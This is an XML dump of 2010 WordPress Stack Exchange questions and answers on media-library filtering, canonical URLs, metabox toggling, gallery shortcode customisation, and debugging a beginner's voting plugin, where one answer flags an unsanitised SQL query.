  <row Id="4341" PostTypeId="2" ParentId="1482" CreationDate="2010-11-20T13:11:40.760" Score="5" ViewCount="" Body="&lt;p&gt;You could always filter the media list using a &lt;code&gt;pre_get_posts&lt;/code&gt; filter that first determines the page, and the capabilities of the user, and sets the author parameter when certain conditions are met..&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Example&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('pre_get_posts','users_own_attachments');&#xA;function users_own_attachments( $wp_query_obj ) {&#xA;&#xA;    global $current_user, $pagenow;&#xA;&#xA;    if( !is_a( $current_user, 'WP_User') )&#xA;        return;&#xA;&#xA;    if( 'upload.php' != $pagenow )&#xA;        return;&#xA;&#xA;    if( !current_user_can('delete_pages') )&#xA;        $wp_query_obj-&amp;gt;set('author', $current_user-&amp;gt;id );&#xA;&#xA;    return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used the delete pages cap as a condition so Admins and Editors still see the full media listing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is one small side effect, which i can't see any hooks for, and that's with the attachment counts shown above the media list(which will still show the total count of media items, not that of the given user - i'd consider this a minor issue though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thought i'd post it up all the same, might be useful.. ;)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-20T13:11:40.760" />
  <row Id="4343" PostTypeId="1" AcceptedAnswerId="4358" CreationDate="2010-11-20T13:57:31.923" Score="1" ViewCount="1202" Body="&lt;p&gt;We're building a plugin that displays posts, and we also want to display the image gallery when it is used in a post. However, we need to limit the number of photos displayed? Is that possible?&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2011-09-01T21:34:48.737" Title="How to customise the output of the WP image gallery shortcode from a plugin?" Tags="&lt;plugins&gt;&lt;gallery&gt;&lt;shortcode&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="4344" PostTypeId="1" AcceptedAnswerId="4354" CreationDate="2010-11-20T14:35:48.987" Score="0" ViewCount="164" Body="&lt;p&gt;By default, Wordrpess sites have at least 2 URLs that can be used to reach the home page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.site.com/&#xA;www.site.com/hello-world&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both these URLs point to the same page, the default &quot;hello world&quot; post that WordPress creates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can theme developer's specify a canoninical url meta tag to suggest to search agents which URL it should index in the above example?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your answer, please include an example for each choice: one in which site.com is preferred and one in which site.com/hello-world is preferred.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-11-20T23:00:17.767" Title="How to use Canonical URL meta tag to avoid duplicate content issues with WP home pages" Tags="&lt;theme-development&gt;&lt;wp-head&gt;" AnswerCount="1" />
  <row Id="4345" PostTypeId="1" CreationDate="2010-11-20T15:47:51.763" Score="1" ViewCount="211" Body="&lt;p&gt;I have several metaboxes in the edit screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also create another metabox where the user can click on a checkbox then it hides a set of metaboxes, similar to the Screen Options functionality, only when the checkbox is clicked, it hides/toggles a group of metaboxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know how to approach this? If not, what's the code used by the Screen Options menu that dictates on click,hide metabox. ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" LastActivityDate="2010-11-20T22:51:37.690" Title="On click hide group of metabox, similar to screen options checkbox?" Tags="&lt;metabox&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="4346" PostTypeId="1" CreationDate="2010-11-20T16:40:20.690" Score="1" ViewCount="433" Body="&lt;p&gt;As described, how can I show only the images with a certain tag on a Wordpress blog that use &lt;code&gt;NextGEN Gallery&lt;/code&gt; as gallery plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NextGEN Gallery version is 1.5.5 but I can upgrade to 1.6.2 (last) if necessary. I would like to display images with a specified tag on a new Wordpress Page.&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="36" LastEditorDisplayName="" LastEditDate="2010-11-21T18:09:04.277" LastActivityDate="2011-08-05T00:30:54.937" Title="How to show only images with a certain tag with NextGEN gallery plugin?" Tags="&lt;plugin-nextgen-gallery&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="4347" PostTypeId="1" AcceptedAnswerId="4353" CreationDate="2010-11-20T18:19:30.270" Score="0" ViewCount="66" Body="&lt;p&gt;How can I get the archive links for a custom post type? &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_day_link&quot; rel=&quot;nofollow&quot;&gt;get_day_link()&lt;/a&gt; doesn't seem to work&lt;/p&gt;&#xA;" OwnerUserId="600" LastActivityDate="2010-11-21T02:17:45.450" Title="Custom post type - get_day_link()" Tags="&lt;custom-post-types&gt;&lt;php&gt;&lt;archive&gt;" AnswerCount="1" />
  <row Id="4348" PostTypeId="1" AcceptedAnswerId="4351" CreationDate="2010-11-20T18:42:44.000" Score="0" ViewCount="389" Body="&lt;p&gt;I'm working on a personal voting plugin, I don't intend to release it publicly because I'm still learning WP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, you can vote posts &quot;up&quot; or &quot;down&quot;. I have 2 tables, one collects IPs (to disallow voting multiple times) and another table named &quot;post_votes&quot; collects the number of votes for each post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I publish a new post its ID is stored in &quot;post_votes&quot; and I can update the &quot;up&quot;, &quot;down&quot; for each post when people vote. This worked a few days ago. I did some modifications and I can't figure out why it's not working anymore..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the entire code so far.. I still need to implement some security precautions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Vote Posts&#xA;*/&#xA;&#xA;global $vote_posts_version;&#xA;$vote_posts_version = &quot;1.0&quot;;&#xA;&#xA;function vote_posts_install () {&#xA;&#xA;   global $wpdb;&#xA;   global $vote_posts_version;&#xA;&#xA;   $table_1 = $wpdb-&amp;gt;prefix . &quot;voter_ips&quot;;&#xA;   $table_2 = $wpdb-&amp;gt;prefix . &quot;vote_posts&quot;; &#xA;&#xA;   if($wpdb-&amp;gt;get_var(&quot;SHOW TABLES LIKE '$table_1 AND $table_2'&quot;) != $table_1 &amp;amp;&amp;amp; $table_2) {&#xA;&#xA;      $sql = &quot;CREATE TABLE &quot; . $table_1 . &quot; (&#xA;      id bigint(20) NOT NULL AUTO_INCREMENT,&#xA;      vote_post_id bigint(20) NOT NULL,&#xA;      voter_ip varchar(100) NOT NULL,&#xA;      UNIQUE KEY id (id)&#xA;      );&quot;;&#xA;&#xA;       $sql2 = &quot;CREATE TABLE &quot; . $table_2 . &quot; (&#xA;      id bigint(20) NOT NULL AUTO_INCREMENT,&#xA;      vote_post_id bigint(20) NOT NULL,&#xA;      up int(11) NOT NULL,&#xA;      down int(11) NOT NULL,&#xA;      UNIQUE KEY id (id)&#xA;      );&quot;;&#xA;&#xA;      require_once(ABSPATH . 'wp-admin/includes/upgrade.php');&#xA;      dbDelta($sql);&#xA;      dbDelta($sql2);&#xA;&#xA;      add_option(&quot;vote_posts_version&quot;, $vote_posts_version);&#xA;   }        &#xA;}&#xA;&#xA;register_activation_hook(__FILE__,'vote_posts_install');&#xA;&#xA;&#xA;//add and delete votes&#xA;&#xA;function add_votes($post_ID)  {&#xA;global $wpdb;&#xA;   if (!($wpdb-&amp;gt;get_row(&quot;SELECT vote_post_id FROM wp_vote_posts WHERE vote_post_id = $post_ID&quot; ) ) ) { //if not exists add post ID to table&#xA;      $wpdb-&amp;gt;insert( $wpdb-&amp;gt;prefix . 'vote_posts', array( 'post_id' =&amp;gt; $post_ID ) );&#xA;      return $post_ID;&#xA;   }&#xA;}&#xA;add_action ( 'publish_post', 'add_votes' ); //should trigger function on publish post&#xA;&#xA;function delete_votes($post_ID)  {&#xA;    global $wpdb;&#xA;    $wpdb-&amp;gt;query(&quot;DELETE FROM wp_vote_posts WHERE vote_post_id = $post_ID&quot;);&#xA;    return $post_ID;&#xA;}&#xA;add_action ( 'delete_post', 'delete_votes' ); //deletes row from post_votes table when a post is deleted from the WP panel&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It successfully creates the 2 tables but doesn't insert the post ID on action&lt;/p&gt;&#xA;" OwnerUserId="1613" LastActivityDate="2010-11-20T21:19:10.663" Title="add_action for publish_post doesn't work" Tags="&lt;plugins&gt;&lt;php&gt;&lt;database&gt;&lt;mysql&gt;" AnswerCount="1" />
  <row Id="4349" PostTypeId="1" AcceptedAnswerId="4532" CreationDate="2010-11-20T19:55:13.277" Score="0" ViewCount="612" Body="&lt;p&gt;After i add these codes to functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_editor_style();&#xA;&#xA;function childtheme_mce_btns2($orig) {&#xA;return array('formatselect','styleselect', 'underline', 'justifyfull', 'forecolor', '|', 'pastetext', 'pasteword', 'removeformat', '|', 'media', 'charmap', '|', 'outdent', 'indent', '|', 'undo', 'redo', 'wp_help' );&#xA;}&#xA;add_filter( 'mce_buttons_2', 'childtheme_mce_btns2', 999 );&#xA;&#xA;function childtheme_tiny_mce_before_init( $init_array ) {&#xA;$init_array['theme_advanced_styles'] = &quot;box note=box_note;box info=box_info;box warning=box_warning;box download=box_download&quot;;&#xA;return $init_array;&#xA;}&#xA;add_filter( 'tiny_mce_before_init', 'childtheme_tiny_mce_before_init' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I had a style drop down menu in Wordpress Visual Editor with &quot;box note,box info,box warning,box download&quot; options. I created editor-style.css so i got css support for those classes in visual editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i select &quot;box note&quot; style example, wordpress putting it as &lt;code&gt;&amp;lt;p class=&quot;box_note&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt; Problem is when i push enter button for line breaking, wordpress putting &lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt; automatically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically how can i change those styles using &lt;code&gt;&amp;lt;div&amp;gt; &amp;lt;span&amp;gt;&lt;/code&gt; or anything except &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;I create some screenshots for you. This is when i select style from style list:&#xA;&lt;a href=&quot;http://www.unsalkorkmaz.com/sorun/sorun1.jpg&quot; rel=&quot;nofollow&quot;&gt;http://www.unsalkorkmaz.com/sorun/sorun1.jpg&lt;/a&gt;&#xA;This is when i push enter button for line breaking:&#xA;&lt;a href=&quot;http://www.unsalkorkmaz.com/sorun/sorun2.jpg&quot; rel=&quot;nofollow&quot;&gt;http://www.unsalkorkmaz.com/sorun/sorun2.jpg&lt;/a&gt;&#xA;Wordpress basically creating different &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter('the_content', 'wpautop');&#xA;remove_filter('the_content', 'wptexturize');&#xA;remove_filter('the_content', 'convert_smilies');&#xA;remove_filter('the_content', 'convert_chars');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;before i create this question but its not the solution seems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2:&lt;/strong&gt;&#xA;Well.. I tried shift+enter to line-break and it works! So i dont know what is difference with enter vs shift+enter in TinyMCE but i want shift+enter function as default of enter button.&lt;/p&gt;&#xA;" OwnerUserId="1372" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-21T14:59:34.457" LastActivityDate="2010-11-25T20:15:48.727" Title="Theme Advanced Styles in Visual Editor and Paragraphs" Tags="&lt;themes&gt;&lt;wysiwyg&gt;&lt;visual-editor&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="2" />
  <row Id="4350" PostTypeId="2" ParentId="4349" CreationDate="2010-11-20T20:32:49.910" Score="0" ViewCount="" Body="&lt;p&gt;Is this your quesion:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.orphicpixel.com/common-wordpress-annoyance/&quot; rel=&quot;nofollow&quot;&gt;http://www.orphicpixel.com/common-wordpress-annoyance/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3469/line-breaks-not-showing-up-properly&quot;&gt;Line breaks not showing up properly&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/506/how-can-i-improve-the-line-break-handling-in-the-wysiwyg-editor&quot;&gt;How can I improve the line break handling in the WYSIWYG editor? &lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3732/why-is-wordpress-wysiwymg-and-how-do-i-make-it-wysiwyg&quot;&gt;Why is WordPress WYSIWYMG and how do I make it WYSIWYG?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;?&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-20T20:32:49.910" CommentCount="4" />
  <row Id="4351" PostTypeId="2" ParentId="4348" CreationDate="2010-11-20T21:19:10.663" Score="1" ViewCount="" Body="&lt;p&gt;No offense, but I think I'm agreeing with a commenter from your other question... You really need to read PHP, MySQL, and regular expression tutorials before you get into any of this. More importantly, you need to learn how to search a code base using regular expressions in your favorite editor, and understand the code you're reading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to give you a few examples, this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SHOW TABLES LIKE '$table_1 AND $table_2'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is looking for a table called:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb-&amp;gt;prefix . &quot;voter_ips AND &quot; . $wpdb-&amp;gt;prefix . &quot;vote_posts&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bad, bad, bad...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Along the same lines, while your tables both have a not null unique key, which technically amounts to a primary key, the MySQL rewrite engine and optimizer don't treat those in the same way as primary keys, so you should declare it as such instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, there are the potential security holes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT vote_post_id FROM wp_vote_posts WHERE vote_post_id = $post_ID&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... without casting $post_ID to (int) beforehand...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also helps to var_dump() stuff if you're not using a PHP debugger. e.g. in your add_votes() call, how about this, to see what's happening?:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_dump($post_ID);die;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-20T21:19:10.663" CommentCount="5" />
  <row Id="4352" PostTypeId="2" ParentId="4345" CreationDate="2010-11-20T22:51:37.690" Score="1" ViewCount="" Body="&lt;p&gt;The toggling boxes part is easy enough, that i can manage, but saving the status of the boxes is more tricky. JS unfortunately is not one of my strengths, and i can't get the postboxes to save their state. That said, i can show you how to toggle groups of boxes, and adjust the checkboxes accordingly, i'll post this in the hope that someone else can fill in the missing links to get the post box states to update(else when you refresh or revisit the screen, groups of boxes you've toggled visibility for won't have remembered their state).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;HTML for the toggle links&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;    &amp;lt;a class=&quot;metabox-group&quot; id=&quot;group-1&quot; href=&quot;#&quot;&amp;gt;Group 1&amp;lt;/a&amp;gt; | &#xA;    &amp;lt;a class=&quot;metabox-group&quot; id=&quot;group-2&quot; href=&quot;#&quot;&amp;gt;Group 2&amp;lt;/a&amp;gt;&#xA;    &amp;lt;span class=&quot;hidden&quot; id=&quot;meta-group-1&quot;&amp;gt;commentstatusdiv,commentsdiv&amp;lt;/span&amp;gt;&#xA;    &amp;lt;span class=&quot;hidden&quot; id=&quot;meta-group-2&quot;&amp;gt;categorydiv,tagsdiv-post_tag&amp;lt;/span&amp;gt;&#xA;&amp;lt;/p&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The spans need not be spans, you can of course use inputs or whatever you like to hold a comma seperated list of the boxes to toggle(a list of their IDs).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;jQuery/JS for toggling&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(document).ready(function($){&#xA;&#xA;        // Attach a click function to links with the metabox-group class&#xA;        $('a.metabox-group').click(function(){&#xA;&#xA;            // Find the element containing a list of elements to hide and split into array&#xA;            var box_group = $('#meta-'+this.id).text().split(',');&#xA;&#xA;            // Ensure there's at least two items to toggle&#xA;            if( 2 &amp;gt; box_group.length )&#xA;                return false;&#xA;&#xA;            // Loop over the pieces(the array of element IDs)&#xA;            $(box_group).each(function(){&#xA;&#xA;                // Find and store the associated checkbox&#xA;                var toggle_checkbox = $('input#' + this + '-hide');&#xA;&#xA;                // If the checkbox is currently unchecked&#xA;                if( !toggle_checkbox.is(':checked') ) {&#xA;&#xA;                    // Show the metabox&#xA;                    $('#'+this).show();&#xA;&#xA;                    //if ( $.isFunction( postboxes.pbshow ) )&#xA;                        //postboxes.pbshow( this );&#xA;                }&#xA;                // Else&#xA;                else {&#xA;&#xA;                    // Hide the metabox&#xA;                    $('#'+this).hide();&#xA;&#xA;                    //if ( $.isFunction( postboxes.pbhide ) )&#xA;                        //postboxes.pbhide( this );&#xA;                }&#xA;                // Toggle the checkbox &#xA;                $(toggle_checkbox).attr('checked',!toggle_checkbox.is(':checked'));&#xA;&#xA;            });&#xA;&#xA;            //postboxes.save_state(page);&#xA;&#xA;            return false;&#xA;        });&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The postbox code you see in there is commented out as it doesn't work(had hoped it would), i'm simply not JS knowledgable enough to know what i'm missing on that front, but i've left it there so others in a position to help can see what i've tried.. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry i couldn't give a complete answer, but i hope that helps all the same.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-20T22:51:37.690" />
  <row Id="4353" PostTypeId="2" ParentId="4347" CreationDate="2010-11-20T22:52:50.867" Score="1" ViewCount="" Body="&lt;p&gt;From the top of my head, &lt;code&gt;get_day_link()&lt;/code&gt; does not work for custom post types. This might work in 3.1 as you can add archives to your custom post types.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-20T22:52:50.867" CommentCount="1" />
  <row Id="4354" PostTypeId="2" ParentId="4344" CreationDate="2010-11-20T23:00:17.767" Score="1" ViewCount="" Body="&lt;p&gt;You might probably want to install &lt;a href=&quot;http://wordpress.org/extend/plugins/canonical/&quot; rel=&quot;nofollow&quot;&gt;Canonical URL’s for WordPress (Wordpress Plugin)&lt;/a&gt;. It allows you to specify a canonical URL for each post and page. So you can configure the way you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin is not big, you probably can integrate the functionality easily into your theme then.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-20T23:00:17.767" CommentCount="1" />
  <row Id="4355" PostTypeId="2" ParentId="4343" CreationDate="2010-11-20T23:02:31.557" Score="0" ViewCount="" Body="&lt;p&gt;You can specify the number of images per gallery. This can be configured via the gallery tab in the media thickbox in the post editor. After you have already inserted the gallery, I think you can edit that by editing the gallery in the visual editor.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-20T23:02:31.557" />
  <row Id="4356" PostTypeId="2" ParentId="4330" CreationDate="2010-11-20T23:07:05.497" Score="0" ViewCount="" Body="&lt;p&gt;From all the footnote plugins that I'm aware of, they don't provide the functionality you're looking for. It's normally expected that a user edits the footnotes content in the place where the footnote is edited in the current plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the list is pretty impressive. So probably you might want to look on your own: &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=footnote&amp;amp;sort=&quot; rel=&quot;nofollow&quot;&gt;Footnote Wordpress Plugins&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-20T23:07:05.497" CommentCount="7" />
  <row Id="4357" PostTypeId="2" ParentId="4282" CreationDate="2010-11-20T23:16:10.227" Score="3" ViewCount="" Body="&lt;p&gt;There is a filter with the same name (&lt;code&gt;single_cat_title&lt;/code&gt;) you can make use of to replace a particular word all the time:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('single_cat_title', function($title) {&#xA;        return str_replace('word to replace', '', $title);&#xA;    })&#xA;    ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should basically do the job.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-20T23:16:10.227" CommentCount="1" />
  <row Id="4358" PostTypeId="2" ParentId="4343" CreationDate="2010-11-20T23:17:30.970" Score="3" ViewCount="" Body="&lt;p&gt;There's two ways you can go about this, but both involve creating a function that does pretty much the same as the existing gallery shortcode function...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either..&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Hook onto &lt;code&gt;post_gallery&lt;/code&gt; and manipulate the incoming data(you can use the gallery shortcode function as a base for the filter if necessary)&lt;/li&gt;&#xA;&lt;li&gt;Unregister the gallery shortcode and register a new gallery shortcode with modifications(again you can use the existing function as a base if necessary)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I did something similar in &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4281/how-to-customize-the-default-html-for-wordpress-attachments/4287#4287&quot;&gt;this thread&lt;/a&gt;, and i'm only referring to it because i'm going to take the same approach for the example that follows.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Example filter for the gallery shortcode&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'post_gallery', 'my_post_gallery', 10, 2 );&#xA;function my_post_gallery( $output, $attr) {&#xA;    global $post, $wp_locale;&#xA;&#xA;    static $instance = 0;&#xA;    $instance++;&#xA;&#xA;    // We're trusting author input, so let's at least make sure it looks like a valid orderby statement&#xA;    if ( isset( $attr['orderby'] ) ) {&#xA;        $attr['orderby'] = sanitize_sql_orderby( $attr['orderby'] );&#xA;        if ( !$attr['orderby'] )&#xA;            unset( $attr['orderby'] );&#xA;    }&#xA;&#xA;    extract(shortcode_atts(array(&#xA;        'order'      =&amp;gt; 'ASC',&#xA;        'orderby'    =&amp;gt; 'menu_order ID',&#xA;        'id'         =&amp;gt; $post-&amp;gt;ID,&#xA;        'itemtag'    =&amp;gt; 'dl',&#xA;        'icontag'    =&amp;gt; 'dt',&#xA;        'captiontag' =&amp;gt; 'dd',&#xA;        'columns'    =&amp;gt; 3,&#xA;        'size'       =&amp;gt; 'thumbnail',&#xA;        'include'    =&amp;gt; '',&#xA;        'exclude'    =&amp;gt; ''&#xA;    ), $attr));&#xA;&#xA;    $id = intval($id);&#xA;    if ( 'RAND' == $order )&#xA;        $orderby = 'none';&#xA;&#xA;    if ( !empty($include) ) {&#xA;        $include = preg_replace( '/[^0-9,]+/', '', $include );&#xA;        $_attachments = get_posts( array('include' =&amp;gt; $include, 'post_status' =&amp;gt; 'inherit', 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image', 'order' =&amp;gt; $order, 'orderby' =&amp;gt; $orderby) );&#xA;&#xA;        $attachments = array();&#xA;        foreach ( $_attachments as $key =&amp;gt; $val ) {&#xA;            $attachments[$val-&amp;gt;ID] = $_attachments[$key];&#xA;        }&#xA;    } elseif ( !empty($exclude) ) {&#xA;        $exclude = preg_replace( '/[^0-9,]+/', '', $exclude );&#xA;        $attachments = get_children( array('post_parent' =&amp;gt; $id, 'exclude' =&amp;gt; $exclude, 'post_status' =&amp;gt; 'inherit', 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image', 'order' =&amp;gt; $order, 'orderby' =&amp;gt; $orderby) );&#xA;    } else {&#xA;        $attachments = get_children( array('post_parent' =&amp;gt; $id, 'post_status' =&amp;gt; 'inherit', 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image', 'order' =&amp;gt; $order, 'orderby' =&amp;gt; $orderby) );&#xA;    }&#xA;&#xA;    if ( empty($attachments) )&#xA;        return '';&#xA;&#xA;    if ( is_feed() ) {&#xA;        $output = &quot;\n&quot;;&#xA;        foreach ( $attachments as $att_id =&amp;gt; $attachment )&#xA;            $output .= wp_get_attachment_link($att_id, $size, true) . &quot;\n&quot;;&#xA;        return $output;&#xA;    }&#xA;&#xA;    $itemtag = tag_escape($itemtag);&#xA;    $captiontag = tag_escape($captiontag);&#xA;    $columns = intval($columns);&#xA;    $itemwidth = $columns &amp;gt; 0 ? floor(100/$columns) : 100;&#xA;    $float = is_rtl() ? 'right' : 'left';&#xA;&#xA;    $selector = &quot;gallery-{$instance}&quot;;&#xA;&#xA;    $output = apply_filters('gallery_style', &quot;&#xA;        &amp;lt;style type='text/css'&amp;gt;&#xA;            #{$selector} {&#xA;                margin: auto;&#xA;            }&#xA;            #{$selector} .gallery-item {&#xA;                float: {$float};&#xA;                margin-top: 10px;&#xA;                text-align: center;&#xA;                width: {$itemwidth}%;           }&#xA;            #{$selector} img {&#xA;                border: 2px solid #cfcfcf;&#xA;            }&#xA;            #{$selector} .gallery-caption {&#xA;                margin-left: 0;&#xA;            }&#xA;        &amp;lt;/style&amp;gt;&#xA;        &amp;lt;!-- see gallery_shortcode() in wp-includes/media.php --&amp;gt;&#xA;        &amp;lt;div id='$selector' class='gallery galleryid-{$id}'&amp;gt;&quot;);&#xA;&#xA;    $i = 0;&#xA;    foreach ( $attachments as $id =&amp;gt; $attachment ) {&#xA;        $link = isset($attr['link']) &amp;amp;&amp;amp; 'file' == $attr['link'] ? wp_get_attachment_link($id, $size, false, false) : wp_get_attachment_link($id, $size, true, false);&#xA;&#xA;        $output .= &quot;&amp;lt;{$itemtag} class='gallery-item'&amp;gt;&quot;;&#xA;        $output .= &quot;&#xA;            &amp;lt;{$icontag} class='gallery-icon'&amp;gt;&#xA;                $link&#xA;            &amp;lt;/{$icontag}&amp;gt;&quot;;&#xA;        if ( $captiontag &amp;amp;&amp;amp; trim($attachment-&amp;gt;post_excerpt) ) {&#xA;            $output .= &quot;&#xA;                &amp;lt;{$captiontag} class='gallery-caption'&amp;gt;&#xA;                &quot; . wptexturize($attachment-&amp;gt;post_excerpt) . &quot;&#xA;                &amp;lt;/{$captiontag}&amp;gt;&quot;;&#xA;        }&#xA;        $output .= &quot;&amp;lt;/{$itemtag}&amp;gt;&quot;;&#xA;        if ( $columns &amp;gt; 0 &amp;amp;&amp;amp; ++$i % $columns == 0 )&#xA;            $output .= '&amp;lt;br style=&quot;clear: both&quot; /&amp;gt;';&#xA;    }&#xA;&#xA;    $output .= &quot;&#xA;            &amp;lt;br style='clear: both;' /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;\n&quot;;&#xA;&#xA;    return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Modify that function to impose whatever restrictions you like(it's just a base)..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the hook i'm using in &lt;code&gt;wp-includes/media.php&lt;/code&gt; inside the gallery shortcode callback function(see line 763).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.1/wp-includes/media.php#L745&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.0.1/wp-includes/media.php#L745&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-11-20T23:48:29.130" LastActivityDate="2010-11-20T23:48:29.130" CommentCount="2" />
